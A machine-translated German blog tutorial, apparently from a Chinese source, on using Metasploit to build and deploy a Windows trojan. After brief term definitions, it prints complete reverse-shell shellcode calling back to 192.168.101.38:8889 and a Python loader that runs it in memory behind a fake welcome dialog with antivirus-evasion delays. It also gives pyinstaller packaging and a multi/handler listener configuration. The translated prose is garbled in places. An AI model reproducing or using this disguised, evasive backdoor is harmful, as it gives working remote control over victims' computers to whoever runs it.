Artikelverzeichnis
Vorwort
Mal sehen, ob wir es bestehen (Mal sehen, ob wir es bestehen) Ich habe kürzlich ein Reptilienprojekt durchgeführt, und meine Hände jucken wieder.
MSF ist ein sehr etabliertes Penetrations-Framework, das einige Penetrationserkennungsmodule enthält
Umgebung
Kail 2020
VM 16
-Host: Windows 10
Grundvoraussetzungen:
Halten Sie sich strikt an die nationalen Sicherheitsgesetze und -vorschriften und können Sie Linux verwenden.
Grundstruktur
Grundbegriffe
Bevor wir das spielen, müssen wir noch einige grundlegende Fachbegriffe verstehen
Ausbeuten
Ein Penetrationsangriff bezieht sich auf einen Angriff, der von einem Angreifer oder Penetrationstester durchgeführt wird, indem eine Sicherheitslücke in einem System, einer Anwendung oder einem Dienst ausgenutzt wird.
Beliebte Angriffstechniken sind Pufferüberläufe, Webanwendungs-Exploits und das Ausnutzen von Fehlkonfigurationen.
Nutzlast Die Nutzlast ist der Code, von dem wir erwarten, dass das Zielsystem ihn ausführt, nachdem er eingedrungen ist. Im Rahmen von MSF kann frei gewählt, geliefert und implantiert werden. Beispielsweise ist eine Rebound-Shell eine Angriffsnutzlast, die eine Netzwerkverbindung vom Zielhost zum angreifenden Host herstellt und eine Befehlszeilen-Shell bereitstellt. Die Bind
-Shell-Payload bindet eine Befehlszeilen-Shell auf dem Zielhost an einen offenen Listening-Port, mit dem ein Angreifer eine Verbindung herstellen kann, um eine Shell-Interaktion zu erhalten.
Spillcode (Shellcode) Shellcode ist eine Reihe von Maschinenanweisungen, die während eines Penetrationsangriffs als Angriffsnutzlast ausgeführt werden. Shellcode wird normalerweise in Assemblersprache geschrieben. In den meisten Fällen stellt das Zielsystem nur eine Befehlszeilen-Shell oder Meterpreter-
Shell bereit, nachdem es den Shellcode-Anweisungssatz ausgeführt hat, der auch der Ursprung des Shellcode-Namens ist.
Modul (Modul) In MSF bezieht sich ein Modul auf eine Softwarecodekomponente, die im MSF-Framework verwendet wird. Irgendwann können Sie ein Exploit-
Modul verwenden, bei dem es sich um die Softwarekomponente handelt, mit der der Exploit-Angriff tatsächlich gestartet wird. Zu anderen Zeiten kann ein Hilfsmodul verwendet werden
, um nach Angriffsaktionen zu scannen, wie z. B. Scannen oder Systemaufzählung.
Listener (Listener) Ein Listener ist eine Komponente in MSF, die auf eine eingehende Netzwerkverbindung wartet. Nachdem der Zielhost beispielsweise kompromittiert wurde, kann er sich über das Internet wieder mit dem angreifenden Host verbinden, und die Listener-Komponente befindet sich auf dem angreifenden Host und wartet darauf, dass das kompromittierte System eine Verbindung herstellt, und ist für die Handhabung dieser Netzwerkverbindungen verantwortlich.
physikalische Struktur
Um dieses Framework schnell zu verwenden, um etwas Interessantes zu tun, müssen wir zuerst die grundlegende Verzeichnisstruktur verstehen, die die tatsächliche Dateiadresse ist. wir treten hier ein
Die wichtigsten sind diese. Wir können hineingehen und nachsehen.
Ok, wir können zuerst etwas über diese grundlegendste Verzeichnisstruktur lernen, denn hier gibt es nichts zu sehen.
logische Struktur
Im Grunde sind wir
Handbuch
Wenn das sogenannte wirkliche Wissen herauskommt, lasst uns unseren Prozess sortieren. So spielen wir tatsächlich, wenn wir eindringen.
Die Wörter hier werden grob in zwei Arten unterteilt, die eine besteht darin, direkt über Penetrationsskripte anzugreifen, und die andere besteht darin, Nutzdaten zu verwenden, dh Trojaner-Viren und dergleichen. Der vorherige Prozess ist relativ einfach, daher werde ich ihn nicht im Detail demonstrieren (hauptsächlich, weil die Umgebung ausgetrocknet war, als ich vorher nicht gespielt habe), und einige der folgenden Operationen beinhalten mehr Inhalt. Ich bin hauptsächlich hier, um euch ein Theaterstück zu zeigen. Führen Sie dann einige grundlegende Gedanken ein.
Grundprozess der Penetration
Zuerst
Der erste Punkt besteht zweifellos darin, die Informationen des anderen Hosts zu ermitteln, z. B. was das Ziel ist. Dann suchen wir die entsprechenden öffentlichen Schwachstellen, zum Beispiel haben wir festgestellt, dass der Zielhost xx System ist. Das System wurde dann der Schwachstelle mit der Nummer
CVE-2017-0143 ausgesetzt
. Was diese Informationen anbelangt, so können Sie selbst im Internet nach dem System oder der Ausrüstung der anderen Partei suchen und dann nach den Schwachstellen suchen, die in diesem Ausrüstungssystem öffentlich bekannt wurden. Bergbau ist natürlich eine andere Sache. Ich werde darauf nicht eingehen Hier.
Sekunde
An diesem Punkt gehen wir davon aus, dass die andere Partei diese Schwachstelle haben könnte, und betreten dann zu diesem Zeitpunkt unsere msf-Konsole. Schwachstellen anzeigen
betreten? Sie können die gesamte Hilfe überprüfen (außerdem ist mein aktuelles msf nicht die neueste Version, da ich es lange nicht gespielt habe, sodass ich msf hier immer noch häufig aktualisieren muss, aber das Peinliche hier ist, dass das Update von ausländischen Spiegeln ist langsam, und das heimische Kali im Grunde Die Spiegel sind alle tot, eine harmonische Gesellschaft. Wenn Sie also aktualisieren, achten Sie auf das wissenschaftliche Internet.)
Ok, zurück zum Thema, was werden wir als Nächstes tun? Schwachstellen überprüfen und suchen. Warum möchten Sie das tun? Es ist sehr einfach. Verwenden Sie Angriffstools, die von anderen geschrieben wurden.
An diesem Punkt haben wir diese Dinge gesehen
und wir haben nicht viel über diese Sache gesehen.
Dritter
Wählen Sie eine aus, wenn nicht, ändern Sie sie.
Hier geben Sie zurück, um das Modul zu pushen
Sehen Sie sich dann diese Parametereinstellung an, und die Informationen zeigen Optionen an
Dann prüfen wir die konkreten Angaben in info
Darin sind viele Informationen, die Sie sich ansehen können.
Die Worte hier sind peinlicher, es gibt wirklich keine Zieldrohne.
Hier gibt es also vor, einzudringen, okay?
vierte
Natürlich wird es nach unseren Parametern eingestellt.
dann renne
Oder der Exploit
hängt von der spezifischen Situation ab. Wie soll ich es sagen, es gibt keine Zieldrohne, und das Experiment kann nicht durchgeführt werden, und dies muss mit einigen unserer spezifischen Schlupflöcher kombiniert werden, was eine starke Professionalität erfordert. Auch wenn es eine gibt eine Zieldrohne heute, ich werde es hier demonstrieren, wenn Sie ein Anfänger sind, wissen im Grunde nicht, wie es geht.
Eindringen von Trojanern
OK, nehmen wir ein einfach zu bedienendes.
Dies muss mit der Struktur der msf kombiniert werden, die wir gerade hatten.
Wir müssen das Tool msfvenom in unserem msf verwenden, um den Trojaner zu verwenden.
Klären Sie zunächst den Prozess:
Lassen Sie uns also zuerst über den msfvenom-Produktionstrojaner sprechen
Grundlegende Verwendung von msfvenom
Stellen Sie einige häufig verwendete Methoden und Parameter vor.
Payload anzeigen und verwenden
Sie können die Payload als Angriffsschema verstehen, welche Art von Angriffsmethode generiert wird und welche Art von Plattform zum Angriff verwendet wird.
Verwenden Sie den Parameter -p, um ihn festzulegen, und sehen Sie ihn als -l Payload. Weitere Informationen finden Sie unter Folgender Fall
Encoder verwenden den
Parameter -e Dies bezieht sich auf die zu wählende Methode zur Codierung, um die Wahrscheinlichkeit des Tötens durch Trojaner zu erhöhen.Darüber hinaus gibt es Parameter -i -b,
aber Sie können -e für persönliche Tests verwenden, und Sie Sie müssen es nicht einmal angeben. Der Grund dafür ist, dass, egal wie Sie die Parameter einstellen, es direkt von der Antivirensoftware blockiert wird. Probieren Sie es aus. Es ist zu diesem Zeitpunkt nutzlos, diese einfache Methode zu verwenden. Allerdings, Wir können andere Methoden verwenden, um das Töten zu vermeiden. Und diese Methode ist effizienter.
So sehen Sie, wie die Generierung von
Trojanischen Pferden mit Codierungsvorlagen angezeigt wird
msfvenom -p 模板 -e 编码模板 -i 编码次数 -b 避免字符集 LHOST(ifconfig查看) LPORT(监听端口) -f 输出文件类型 > 文件名
Unten ist ein Beispiel
Ich verwende hier keine anderen Parameter, der Grund dafür ist, dass es nicht nötig ist, es direkt zu töten, wenn es einfach so gehandhabt wird.
Vermeide es zu töten
Es gibt viele Möglichkeiten, das Töten jetzt zu vermeiden. Tatsächlich besteht die spezifische Idee darin, den Maschinencode des Virus zu erhalten und
ihn dann zu tarnen. Es gibt viele Möglichkeiten. Einzelheiten finden Sie in diesem Blog:
https://blog.csdn .net/weixin_44677409/article/details/ 96346481
Also hier, wegen meiner Programmierumgebung und meiner Betriebsgewohnheiten, ist die Demonstration hier, Python zu verwenden, um das Töten zu vermeiden
, um den Shellcode zu bekommen
, der eigentlich die py-Datei ausgeben
und dann die Datei bekommen soll
Der Inhalt der Datei ist wahrscheinlich so
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32"
buf += b"\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec"
buf += b"\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x22\xb9"
buf += b"\xc0\xa8\x65\x26\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41"
buf += b"\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01"
buf += b"\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50"
buf += b"\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
buf += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
buf += b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9"
buf += b"\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02"
buf += b"\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41"
buf += b"\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a"
buf += b"\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
buf += b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50"
buf += b"\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
buf += b"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86"
buf += b"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08"
buf += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
buf += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59"
buf += b"\x41\x89\xda\xff\xd5"
Dann fügen Sie es ein und kopieren Sie es zu diesem Zeitpunkt in eine andere Python-
Datei.Ich habe hier eine Wrapper-Funktion geschrieben, die buf direkt als Parameter übergeben kann.
import ctypes
def execgo(buf):
go()
# print('123')
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
ss()
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ss()
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
def ss():
#查杀干扰
time.sleep(0.1)
def go():
#界面伪装
ctypes.windll.user32.MessageBoxA(0, u"点击确定开始美好之旅(若无反应则版本可能不适用).^_ ^".encode('gb2312'),
u' 信息'.encode('gb2312'), 0)
if __name__=='__main__':
execgo(buf)
Verwenden Sie dann pyinstaller, um diese Datei in eine ausführbare Datei zu packen.Wenn
ja, habe ich ihr auch ein Symbol hinzugefügt,
um die Datei zu erhalten und den
Test zu beenden.
Trojaner-Kontrolle (msfconsole kontrolliert den Empfang von Trojaner-Informationen)
Hier:
use multi/handler
ist auch eines der Module, also erst eintragen und dann kann man das machen.
Gemäß meinen Einstellungen habe ich den folgenden Befehl eingegeben
msfconse
use multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 192.168.101.38
set LPORT 8889
run
Wenn Sie darauf warten, dass das Ziel zu diesem Zeitpunkt online geht, lautet das
Ergebnis wie folgt:
Bisher ist das Eindringen eines einfachen Trojaners in Ordnung, dies ist auch operativer, wenn Sie einen Server mit einer öffentlichen Netzwerk-IP haben, oder?
Zusammenfassen
Wie gesagt, die Arbeitsweise von msf ist sehr einfach, natürlich ist die Prämisse, dass Sie ein gewisses Verständnis der grundlegenden Schlupflöcher haben und dann jeden Tag als guter junger Mann in der neuen Ära hart lernen.